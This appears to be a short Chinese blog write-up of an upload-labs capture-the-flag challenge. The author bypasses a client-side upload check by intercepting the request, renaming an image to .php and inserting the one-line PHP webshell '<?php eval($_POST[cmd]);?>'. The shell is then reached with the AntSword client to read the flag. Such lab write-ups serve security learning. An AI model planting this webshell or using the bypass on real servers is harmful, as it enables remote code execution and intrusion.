本文讲述了作者在Upload靶场遇到的关于PHP语法识别的小问题，特别是在使用<?phpinfo()?>而非标准格式时的困惑。作者分享了如何在第一关利用前端验证绕过安全检查，上传包含<?phpeval($_POST[cmd]);?>木马并获取flag的过程。
拿到这道题目一看，发现是upload靶场；这不简简单单吗；结果中间还是遇到了一些小问题
小坑总结：该关只识别标准php语法：<?php phpinfo()?>格式；即<?php ?>
不识别<? phpinfo()?> <% phpinfo();%> <script language="php">phpinfo();</script>等格式;
这是很操蛋的一点儿；差点儿以为是<??>格式过滤呢，绕了半天也没绕过；最后放弃了，直接使用<?php ?>竟然过了，真的裂开
开始操作
直接选择第一关或者第二关；前几关都很简单；
upload靶场通关笔记在此：Upload靶场通关教程（旧版20关）-CSDN博客
第一关是前端验证的；直接上传一张图片；抓包进行修改
文件名改为php的，内容改为一句话木马；<?php eval($_POST[cmd]);?>;
点击上传，成功上传；复制图片地址进行蚁剑连接
蚁剑连接成功，在根目录下找到flag
10
扫一扫
1102
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
